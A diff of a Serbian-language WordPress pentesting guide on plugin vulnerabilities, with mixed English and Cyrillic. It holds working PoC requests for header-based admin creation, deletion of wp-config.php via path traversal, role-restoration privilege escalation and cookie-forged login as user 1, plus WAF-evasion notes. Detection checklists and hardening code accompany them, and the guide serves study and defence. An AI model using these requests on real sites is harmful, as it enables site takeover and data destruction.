Jedan od načina na koji plugin može izložiti funkcije korisnicima je preko AJAX handlers. Oni mogu sadržati greške u logici, autorizaciji ili autentikaciji. Štaviše, često se dešava da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (bez obzira na svoju ulogu).
|
Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handler-a. Oni mogu sadržati greške u logici, autorizaciji ili autentifikaciji. Štaviše, često se događa da ove funkcije zasnivaju i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koje **bilo koji autentifikovani korisnik u Wordpress instanci može imati** (bez obzira na ulogu).
|
||||||
|
|
||||||
Ovo su funkcije koje se mogu koristiti za izlaganje funkcionalnosti u pluginu:
|
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u pluginu:
|
||||||
```php
|
```php
|
||||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||||
@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
|||||||
**Korišćenje `nopriv` čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).**
|
**Korišćenje `nopriv` čini endpoint dostupnim svim korisnicima (čak i neautentifikovanim).**
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Štaviše, ako funkcija samo proverava autorizaciju korisnika funkcijom `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen — obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.
|
> Štaviše, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ta funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Dakle, korisnici sa niskim privilegijama mogu imati pristup akcijama koje zahtevaju visoke privilegije.
|
||||||
|
|
||||||
- **REST API**
|
- **REST API**
|
||||||
|
|
||||||
Takođe je moguće izložiti funkcije iz wordpress registracijom REST API-ja koristeći funkciju `register_rest_route`:
|
Takođe je moguće izložiti funkcije iz WordPress-a registracijom REST API-ja koristeći funkciju `register_rest_route`:
|
||||||
```php
|
```php
|
||||||
register_rest_route(
|
register_rest_route(
|
||||||
$this->namespace, '/get/', array(
|
$this->namespace, '/get/', array(
|
||||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
|||||||
)
|
)
|
||||||
);
|
);
|
||||||
```
|
```
|
||||||
The `permission_callback` je callback koji proverava da li je dati korisnik ovlašćen da pozove API metodu.
|
The `permission_callback` je callback funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
|
||||||
|
|
||||||
**Ako se koristi ugrađena funkcija `__return_true`, ona će jednostavno preskočiti proveru korisničkih dozvola.**
|
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru permisija korisnika.**
|
||||||
|
|
||||||
- **Direktan pristup php fajlu**
|
- **Direktan pristup php fajlu**
|
||||||
|
|
||||||
Naravno, Wordpress koristi PHP i fajlovi unutar plugin-ova su direktno dostupni sa weba. Dakle, ako neki plugin izlaže ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće iskorišćena od strane bilo kog korisnika.
|
Naravno, Wordpress koristi PHP i fajlovi unutar plugin-a su direktno dostupni sa weba. Dakle, ako plugin otkriva neku ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće eksploatabilna od strane bilo kog korisnika.
|
||||||
|
|
||||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||||
|
|
||||||
Neki plugin-i implementiraju “trusted header” prečice za interne integracije ili reverse proxy-je i potom koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač može spoof-ovati header i pozvati privilegovane REST rute kao administrator.
|
Neki plugin-i implementiraju “trusted header” prečice za interne integracije ili reverse proxy-je i potom koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može lažirati i pozvati privilegovane REST rute kao administrator.
|
||||||
|
|
||||||
- Uticaj: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST rute.
|
- Uticaj: neautentifikovano eskaliranje privilegija do administratora kreiranjem novog administratora preko core users REST rute.
|
||||||
- Primer headera: `X-Wcpay-Platform-Checkout-User: 1` (postavlja ID korisnika na 1, obično prvi administratorski nalog).
|
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forsira user ID 1, tipično prvi administratorski nalog).
|
||||||
- Eksploatisana ruta: `POST /wp-json/wp/v2/users` sa nizom povišenih uloga.
|
- Exploited route: `POST /wp-json/wp/v2/users` sa nizom povišenih uloga.
|
||||||
|
|
||||||
PoC
|
PoC
|
||||||
```http
|
```http
|
||||||
@ -393,38 +393,38 @@ Content-Length: 114
|
|||||||
```
|
```
|
||||||
Zašto ovo funkcioniše
|
Zašto ovo funkcioniše
|
||||||
|
|
||||||
- The plugin maps a client-controlled header to authentication state and skips capability checks.
|
- Plugin preslikava client-controlled header u authentication state i zaobilazi capability checks.
|
||||||
- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
|
- WordPress core očekuje `create_users` capability za ovaj route; plugin hack ga zaobilazi tako što direktno postavlja current user context iz header-a.
|
||||||
|
|
||||||
Očekivani indikatori uspeha
|
Očekivani indikatori uspeha
|
||||||
|
|
||||||
- HTTP 201 sa JSON telom koje opisuje kreiranog korisnika.
|
- HTTP 201 sa JSON body koji opisuje kreiranog korisnika.
|
||||||
- Novi admin korisnik vidljiv u `wp-admin/users.php`.
|
- Novi admin korisnik vidljiv u `wp-admin/users.php`.
|
||||||
|
|
||||||
Kontrolna lista za detekciju
|
Kontrolna lista za detekciju
|
||||||
|
|
||||||
- Grep za `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
- Grep-ujte za `getallheaders()`, `$_SERVER['HTTP_...']`, ili vendor SDK-ove koji čitaju custom headers da bi postavili user context (npr. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||||
- Pregled REST registracija za privilegovane callback-ove koji nemaju robusne `permission_callback` provere i umesto toga se oslanjaju na request headers.
|
- Pregledajte REST registracije za privileged callbacks koji nemaju robusne `permission_callback` provere i umesto toga zavise od request headers.
|
||||||
- Potražite upotrebe core user-management funkcija (`wp_insert_user`, `wp_create_user`) unutar REST handler-a koje su ograničene samo vrednostima header-a.
|
- Potražite upotrebe core user-management funkcija (`wp_insert_user`, `wp_create_user`) unutar REST handler-a koje su ograničene samo vrednostima header-a.
|
||||||
|
|
||||||
Ojačavanje
|
Ojačavanje bezbednosti
|
||||||
|
|
||||||
- Nikada ne izvodi autentikaciju ili autorizaciju iz client-controlled header-a.
|
- Nikada ne izvlačite authentication ili authorization iz client-controlled headers.
|
||||||
- Ako reverse proxy mora da injektuje identitet, terminate trust kod proxy-a i uklonite dolazne kopije (npr. `unset X-Wcpay-Platform-Checkout-User` na edge-u), zatim prosledi potpisani token i verifikuj ga server-side.
|
- Ako reverse proxy mora da ubacuje identity, završite trust na samom proxy-ju i uklonite dolazne kopije (npr. `unset X-Wcpay-Platform-Checkout-User` na edge-u), zatim prosledite signed token i verifikujte ga na server strani.
|
||||||
- Za REST rute koje izvode privilegovane akcije, zahtevaj `current_user_can()` provere i strogi `permission_callback` (ne koristi `__return_true`).
|
- Za REST route-ove koji izvršavaju privileged actions, zahtevajte `current_user_can()` provere i strogi `permission_callback` (ne koristite `__return_true`).
|
||||||
- Preferiraj first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.
|
- Preferirajte first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.
|
||||||
|
|
||||||
References: see the links at the end of this page for a public case and broader analysis.
|
References: pogledajte linkove na kraju ove stranice za javni slučaj i širu analizu.
|
||||||
|
|
||||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
### Neautentifikovano proizvoljno brisanje fajlova preko wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||||
|
|
||||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
WordPress teme i plugin-ovi često izlažu AJAX handlers kroz `wp_ajax_` i `wp_ajax_nopriv_` hooks. Kada se koristi **_nopriv_** varijanta **callback postaje dostupan neautentifikovanim posetiocima**, pa svaka osetljiva akcija mora dodatno da implementira:
|
||||||
|
|
||||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
1. A **capability check** (npr. `current_user_can()` ili bar `is_user_logged_in()`), i
|
||||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
2. A **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
|
||||||
3. **Strict input sanitisation / validation**.
|
3. **Stroga sanitizacija / validacija input-a**.
|
||||||
|
|
||||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrolna mehanizma u *Remove Font Family* funkciji i na kraju je isporučila sledeći kod (pojednostavljeno):
|
||||||
```php
|
```php
|
||||||
function litho_remove_font_family_action_data() {
|
function litho_remove_font_family_action_data() {
|
||||||
if ( empty( $_POST['fontfamily'] ) ) {
|
if ( empty( $_POST['fontfamily'] ) ) {
|
||||||
@ -443,11 +443,11 @@ die();
|
|||||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||||
```
|
```
|
||||||
Problemi koje uvodi ovaj isječak:
|
Problemi koje uvodi ovaj fragment koda:
|
||||||
|
|
||||||
* **Unauthenticated access** – `wp_ajax_nopriv_` hook je registrovan.
|
* **Neautentifikovan pristup** – hook `wp_ajax_nopriv_` je registrovan.
|
||||||
* **No nonce / capability check** – svaki posetilac može pozvati endpoint.
|
* **Nema provere nonce / capability** – bilo koji posetilac može pozvati endpoint.
|
||||||
* **No path sanitisation** – korisnički kontrolisana `fontfamily` string se konkatenira u filesystem path bez filtriranja, što omogućava klasični `../../` traversal.
|
* **Nema sanitizacije putanje** – korisnički kontrolisana `fontfamily` string je konkatenirana u fajl-sistemski put bez filtracije, omogućavajući klasičan `../../` traversal.
|
||||||
|
|
||||||
#### Eksploatacija
|
#### Eksploatacija
|
||||||
|
|
||||||
@ -457,15 +457,15 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
|||||||
-d 'action=litho_remove_font_family_action_data' \
|
-d 'action=litho_remove_font_family_action_data' \
|
||||||
-d 'fontfamily=../../../../wp-config.php'
|
-d 'fontfamily=../../../../wp-config.php'
|
||||||
```
|
```
|
||||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
Pošto se `wp-config.php` nalazi izvan *uploads*, četiri `../` sekvence su dovoljne na podrazumevanoj instalaciji. Brisanje `wp-config.php` primorava WordPress da pri sledećem posetu uđe u *installation wizard*, omogućavajući potpuno preuzimanje sajta (napadač samo dostavlja novu DB konfiguraciju i kreira admin nalog).
|
||||||
|
|
||||||
Drugi značajni ciljevi uključuju `.php` fajlove plugin-ova/tema (npr. za onesposobljavanje bezbednosnih dodataka) ili `.htaccess` pravila.
|
Drugi značajni ciljevi uključuju plugin/theme `.php` fajlove (npr. da se onesposobe security plugins) ili `.htaccess` pravila.
|
||||||
|
|
||||||
#### Kontrolna lista za detekciju
|
#### Kontrolna lista za detekciju
|
||||||
|
|
||||||
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva funkcije za rad sa fajl sistemom (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||||||
* Konkatenacija nesanitizovanog korisničkog unosa u putanjama (potražite `$_POST`, `$_GET`, `$_REQUEST`).
|
* Konkatenacija nesanitizovanih korisničkih ulaza u putanjama (potražite `$_POST`, `$_GET`, `$_REQUEST`).
|
||||||
* Odsustvo `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
|
* Nedostatak `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
|
||||||
|
|
||||||
#### Ojačavanje
|
#### Ojačavanje
|
||||||
```php
|
```php
|
||||||
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
|||||||
// 🔒 NO wp_ajax_nopriv_ registration
|
// 🔒 NO wp_ajax_nopriv_ registration
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> **Uvek** tretirajte svaku operaciju upisa/brisanja na disku kao privilegovanu i dvaput proverite:
|
> **Uvek** tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvaput proverite:
|
||||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
### Eskalacija privilegija putem obnavljanja zastarelih uloga i nedostatka autorizacije (ASE "View Admin as Role")
|
||||||
|
|
||||||
Mnogi plugin-i implementiraju "view as role" ili funkciju privremenog menjanja uloga tako što originalne uloge čuvaju u user meta kako bi ih kasnije vratili. Ako put vraćanja zavisi samo od parametara zahteva (npr. `$_REQUEST['reset-for']`) i liste koju održava plugin, bez provere capabilities i validnog nonce-a, to postaje vertical privilege escalation.
|
Mnogi pluginovi implementiraju funkciju "view as role" ili privremenog prebacivanja uloge tako što čuvaju originalne uloge u user meta kako bi ih kasnije mogli vratiti. Ako put za vraćanje zavisi samo od parametara zahteva (e.g., `$_REQUEST['reset-for']`) i liste koju održava plugin, bez provere capabilities i validnog nonce-a, to postaje vertikalna eskalacija privilegija.
|
||||||
|
|
||||||
Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Reset grana je vraćala uloge na osnovu `reset-for=<username>` ako je korisničko ime bilo prisutno u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre nego što ukloni trenutne uloge i ponovo doda sačuvane uloge iz user meta `_asenha_view_admin_as_original_roles`:
|
Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Grana za resetovanje vraćala je uloge na osnovu `reset-for=<username>` ako je korisničko ime bilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre uklanjanja trenutnih uloga i ponovnog dodavanja sačuvanih uloga iz user meta `_asenha_view_admin_as_original_roles`:
|
||||||
```php
|
```php
|
||||||
// Simplified vulnerable pattern
|
// Simplified vulnerable pattern
|
||||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||||
@ -511,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Zašto je iskorišćivo
|
Zašto se može iskoristiti
|
||||||
|
|
||||||
- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na strani servera.
|
- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na serverskoj strani.
|
||||||
- Ako je korisnik ranije imao veće privilegije sačuvane u `_asenha_view_admin_as_original_roles` i kasnije mu je smanjena privilegija, može ih vratiti pristupanjem reset putanji.
|
- Ako je korisnik prethodno imao više privilegija sačuvanih u `_asenha_view_admin_as_original_roles` i bio je degradiran, može ih vratiti pristupanjem reset putanji.
|
||||||
- U nekim implementacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
|
- U nekim deployment-ima, bilo koji autentifikovani korisnik mogao je pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
|
||||||
|
|
||||||
Preduslovi napada
|
Preduslovi napada
|
||||||
|
|
||||||
- Ranjiva verzija plugina sa omogućenom funkcijom.
|
- Ranjiva verzija plugina sa uključenom funkcionalnošću.
|
||||||
- Ciljni nalog ima zastarelu ulogu visokih privilegija sačuvanu u user meta od ranije upotrebe.
|
- Ciljni nalog ima u user meta sačuvanu zastarelu ulogu visokih privilegija iz ranije upotrebe.
|
||||||
- Bilo koja autentifikovana sesija; nedostatak nonce/capability u toku reset toka.
|
- Bilo koja autentifikovana sesija; nedostaje nonce/capability u reset toku.
|
||||||
|
|
||||||
Eksploatacija (primer)
|
Eksploatacija (primer)
|
||||||
```bash
|
```bash
|
||||||
@ -531,57 +531,106 @@ Eksploatacija (primer)
|
|||||||
curl -s -k -b 'wordpress_logged_in=...' \
|
curl -s -k -b 'wordpress_logged_in=...' \
|
||||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||||
```
|
```
|
||||||
Na ranjivim izdanjima ovo uklanja trenutne role i ponovo dodaje sačuvane originalne role (npr. `administrator`), čime se efikasno eskaliraju privilegije.
|
Na ranjivim build-ovima ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr. `administrator`), efektivno eskalirajući privilegije.
|
||||||
|
|
||||||
Detection checklist
|
Detection checklist
|
||||||
|
|
||||||
- Potražite funkcije za prebacivanje rola koje čuvaju “originalne role” u user meta (npr. `_asenha_view_admin_as_original_roles`).
|
- Tražite funkcije za menjanje uloga koje čuvaju “original roles” u user meta (npr. `_asenha_view_admin_as_original_roles`).
|
||||||
- Identifikujte reset/restore putanje koje:
|
- Identifikujte putanje za reset/restore koje:
|
||||||
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
|
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
|
||||||
- Modifikuju role pomoću `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
- Menjaju uloge pomoću `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
|
||||||
- Autorisuju se na osnovu plugin option niza (npr. `viewing_admin_as_role_are`) umesto na osnovu actor’s capabilities.
|
- Autorizuju na osnovu niza opcija plugina (npr. `viewing_admin_as_role_are`) umesto na osnovu capabilities aktera.
|
||||||
|
|
||||||
Hardening
|
Hardening
|
||||||
|
|
||||||
- Sprovodite provere capabilities na svakom ogranku koji menja stanje (npr. `current_user_can('manage_options')` ili strožije).
|
- Sprovodite provere capabilities na svakom ogranku koji menja stanje (npr. `current_user_can('manage_options')` ili strože).
|
||||||
- Zahtevajte nonces za sve izmene rola/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
|
- Zahtevajte nonces za sve mutacije uloga/permisa i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||||
- Nikada ne verujte korisničkim imenima iz zahteva; odredite ciljnu korisnika na serverskoj strani na osnovu autentifikovanog izvršioca i eksplicitne politike.
|
- Nikada ne verujte korisničkim imenima iz zahteva; odredite ciljnog korisnika na serverskoj strani na osnovu autentifikovanog aktera i jasne politike.
|
||||||
- Onemogućite stanje “originalne role” pri ažuriranju profila/rola kako biste izbegli vraćanje zastarelih visokoprivilegovanih podataka:
|
- Invalidirajte stanje “original roles” prilikom ažuriranja profila/uloga kako biste izbegli vraćanje zastarelih visokoprivilegovanih uloga:
|
||||||
```php
|
```php
|
||||||
add_action( 'profile_update', function( $user_id ) {
|
add_action( 'profile_update', function( $user_id ) {
|
||||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||||
}, 10, 1 );
|
}, 10, 1 );
|
||||||
```
|
```
|
||||||
- Razmislite o čuvanju minimalnog stanja i korišćenju time-limited, capability-guarded tokens za privremene promene uloga.
|
- Razmotrite skladištenje minimalnog stanja i korišćenje vremenski ograničenih tokena zaštićenih capability-jem za privremene promene uloga.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
### Nepotvrđena eskalacija privilegija putem cookie‑pouzdanog prebacivanja korisnika na javnom init (Service Finder “sf-booking”)
|
||||||
|
|
||||||
|
Neki pluginovi povezuju pomoćnike za prebacivanje korisnika na javni `init` hook i određuju identitet iz kolačića koji kontroliše klijent. Ako kod pozove `wp_set_auth_cookie()` bez provere autentikacije, capability-ja i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisiliti prijavu kao proizvoljan ID korisnika.
|
||||||
|
|
||||||
|
Tipičan ranjiv obrazac (pojednostavljeno iz Service Finder Bookings ≤ 6.1):
|
||||||
|
```php
|
||||||
|
function service_finder_submit_user_form(){
|
||||||
|
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||||
|
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
|
||||||
|
service_finder_switch_user($user_id);
|
||||||
|
}
|
||||||
|
if ( isset($_GET['switch_back']) ) {
|
||||||
|
service_finder_switch_back();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
add_action('init', 'service_finder_submit_user_form');
|
||||||
|
|
||||||
|
function service_finder_switch_back() {
|
||||||
|
if ( isset($_COOKIE['original_user_id']) ) {
|
||||||
|
$uid = intval($_COOKIE['original_user_id']);
|
||||||
|
if ( get_userdata($uid) ) {
|
||||||
|
wp_set_current_user($uid);
|
||||||
|
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
|
||||||
|
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
|
||||||
|
setcookie('original_user_id', '', time() - 3600, '/');
|
||||||
|
wp_redirect( admin_url('admin.php?page=candidates') );
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
wp_die('Original user not found.');
|
||||||
|
}
|
||||||
|
wp_die('No original user found to switch back to.');
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Zašto je eksploatabilno
|
||||||
|
|
||||||
|
- Javni `init` hook чини handler доступним неаутентификованим корисницима (нема `is_user_logged_in()` заштите).
|
||||||
|
- Идентитет се изводи из клијентски изменљивог cookie-ja (`original_user_id`).
|
||||||
|
- Директан позив `wp_set_auth_cookie($uid)` пријављује подносиоца захтева као тог корисника без било каквих capability/nonce провера.
|
||||||
|
|
||||||
|
Експлоатација (без аутентификације)
|
||||||
|
```http
|
||||||
|
GET /?switch_back=1 HTTP/1.1
|
||||||
|
Host: victim.example
|
||||||
|
Cookie: original_user_id=1
|
||||||
|
User-Agent: PoC
|
||||||
|
Connection: close
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
### WAF considerations for WordPress/plugin CVEs
|
### WAF considerations for WordPress/plugin CVEs
|
||||||
|
|
||||||
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokog uticaja WordPress/plugin ranjivosti su greške u logici/auth specifične za aplikaciju koje izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugina.
|
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge ranjivosti visokog uticaja u WordPress/plugin su specifične za aplikaciju — greške u logici/autorizaciji koje liče na benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugin‑ova.
|
||||||
|
|
||||||
Offensive notes
|
Offensive notes
|
||||||
|
|
||||||
- Ciljajte plugin-specific endpoints sa čistim payload-ovima: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
- Ciljajte krajnje tačke specifične za plugin sa čistim payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||||
- Najpre testirajte neautentifikovane putanje (AJAX `nopriv`, REST sa permisivnim `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation.
|
- Prvo testirajte neautentifikovane putanje (AJAX `nopriv`, REST sa permisivnim `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation.
|
||||||
- Tipični visokog uticaja slučajevi: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
- Tipični slučajevi visokog uticaja: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||||
|
|
||||||
Defensive notes
|
Defensive notes
|
||||||
|
|
||||||
- Ne oslanjajte se na generičke WAF signatures da zaštite plugin CVEs. Implementirajte application-layer, vulnerability-specific virtual patches ili ažurirajte brzo.
|
- Ne oslanjajte se na generičke WAF potpise za zaštitu plugin CVEs. Implementirajte zakrpe na nivou aplikacije specifične za ranjivost (virtual patches) ili brzo ažurirajte.
|
||||||
- Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
|
- Preferirajte pozitivne sigurnosne provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
|
||||||
|
|
||||||
## WordPress Protection
|
## WordPress Protection
|
||||||
|
|
||||||
### Regular Updates
|
### Regular Updates
|
||||||
|
|
||||||
Proverite da su WordPress, plugins, i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
|
Proverite da li su WordPress, plugins i themes ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
|
||||||
```bash
|
```bash
|
||||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||||
add_filter( 'auto_update_plugin', '__return_true' );
|
add_filter( 'auto_update_plugin', '__return_true' );
|
||||||
add_filter( 'auto_update_theme', '__return_true' );
|
add_filter( 'auto_update_theme', '__return_true' );
|
||||||
```
|
```
|
||||||
Takođe, **instalirajte samo pouzdane WordPress plugins i teme**.
|
Takođe, **instalirajte samo pouzdane WordPress pluginove i teme**.
|
||||||
|
|
||||||
### Security Plugins
|
### Security Plugins
|
||||||
|
|
||||||
@ -589,18 +638,18 @@ Takođe, **instalirajte samo pouzdane WordPress plugins i teme**.
|
|||||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||||
|
|
||||||
### **Other Recommendations**
|
### **Ostale preporuke**
|
||||||
|
|
||||||
- Uklonite podrazumevanog **admin** korisnika
|
- Uklonite podrazumevanog **admin** korisnika
|
||||||
- Koristite **jake lozinke** i **2FA**
|
- Koristite **jake lozinke** i **2FA**
|
||||||
- Povremeno **pregledajte** korisničke **dozvole**
|
- Periodično **pregledajte** **dozvole** korisnika
|
||||||
- **Ograničite broj pokušaja prijave** da biste sprečili Brute Force napade
|
- **Ograničite pokušaje prijave** kako biste sprečili Brute Force napade
|
||||||
- Preimenujte fajl **`wp-admin.php`** i dozvolite pristup samo interno ili sa određenih IP adresa.
|
- Preimenujte **`wp-admin.php`** fajl i dozvolite pristup samo interno ili sa određenih IP adresa.
|
||||||
|
|
||||||
|
|
||||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
### Neautentifikovana SQL Injection usled nedovoljne validacije (WP Job Portal <= 2.3.2)
|
||||||
|
|
||||||
WP Job Portal plugin za zapošljavanje je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjiv kod unutar `modules/category/model.php::validateFormData()`:
|
WP Job Portal recruitment plugin je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjivi kod u `modules/category/model.php::validateFormData()`:
|
||||||
```php
|
```php
|
||||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||||
$inquery = ' ';
|
$inquery = ' ';
|
||||||
@ -612,17 +661,17 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
|||||||
```
|
```
|
||||||
Issues introduced by this snippet:
|
Issues introduced by this snippet:
|
||||||
|
|
||||||
1. **Neadekvatno očišćen korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva.
|
1. **Nesanitizovan korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva.
|
||||||
2. **Konkatenacija stringova unutar WHERE klauzule** – nema `is_numeric()` / `esc_sql()` / prepared statement.
|
2. **Spajanje stringova unutar WHERE klauzule** – nema `is_numeric()` / `esc_sql()` / prepared statement.
|
||||||
